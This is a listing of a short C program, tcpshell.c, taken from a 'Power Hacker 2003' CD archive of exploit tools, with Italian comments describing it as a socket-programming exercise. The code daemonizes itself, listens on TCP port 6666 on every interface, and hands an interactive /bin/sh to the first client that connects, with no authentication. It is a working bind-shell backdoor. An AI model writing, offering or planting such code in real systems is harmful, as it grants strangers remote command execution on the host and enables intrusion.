home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / tcpshell.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  1.7 KB  |  77 lines

  1. /*
  2.  *  TCPShell.c        Semplice Shell raggiungibile via socket
  3.  *            Scritta solo per impratichirmi delle basi della
  4.  *            programmazione dei socket BSD.
  5.  *    
  6.  *            no(C)1998 by fusys
  7.  */
  8.  
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netinet/in.h>
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <errno.h>
  15. #include <unistd.h>
  16.  
  17. #define  LISTENQ        1        /* listen() backlog */
  18.  
  19. int main (int argc, char *argv[])
  20. {
  21.        int lsocket ;        /* socket per listen() */
  22.     int csocket ;        /* socket per connect() */
  23.  
  24.     struct sockaddr_in laddr ;    /* struttura IPv4 del demone */
  25.     struct sockaddr_in caddr ;    /* struttura IPv4 del client */
  26.     
  27.     socklen_t len ;        /* dimensioni della struttura IPv4 */
  28.     
  29.     pid_t pid ;        /* tipo pid per il fork() */
  30.     
  31.    /* apriamo il server con socket(), bind() e listen() */
  32.  
  33.    if((lsocket=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  34.     perror("socket error");
  35.     return(10);
  36.    }
  37.  
  38.    len = sizeof(laddr) ;
  39.    memset(&laddr, 0, len) ;    
  40.    laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
  41.    laddr.sin_family = AF_INET ;
  42.    laddr.sin_port = htons(6666) ;  /* apriamo sulla porta 6666 */
  43.    if((bind(lsocket, (const struct sockaddr *)&laddr, len))) {
  44.     perror("bind error");
  45.     return(10);
  46.    } 
  47.    if(listen(lsocket, LISTENQ)) {
  48.     perror("listen error");
  49.     return(10);
  50.    }
  51.  
  52.    /* ora TCP se ne va nel paese dei demoni e si becca come
  53.     * parente init, pronto a seccarlo alla conclusione     */
  54.  
  55.    if ((pid=fork()) == -1) {
  56.     perror("Fork #1");
  57.     return(20);
  58.    }
  59.    if (pid > 0) exit(0);    /* parente */
  60.    setsid() ;            /* figlio */    
  61.   
  62.    /* ora accettiamo UNA connessione    */ 
  63.  
  64.        len = sizeof(caddr);
  65.        if((csocket=accept(lsocket, &caddr, &len)) < 0) {
  66.         perror("socket accept");
  67.         abort();
  68.        }
  69.     
  70.     dup2(csocket,0);
  71.     dup2(csocket,1);
  72.     dup2(csocket,2);
  73.  
  74.     system("/bin/sh -i");
  75.     exit(0);
  76. }
  77.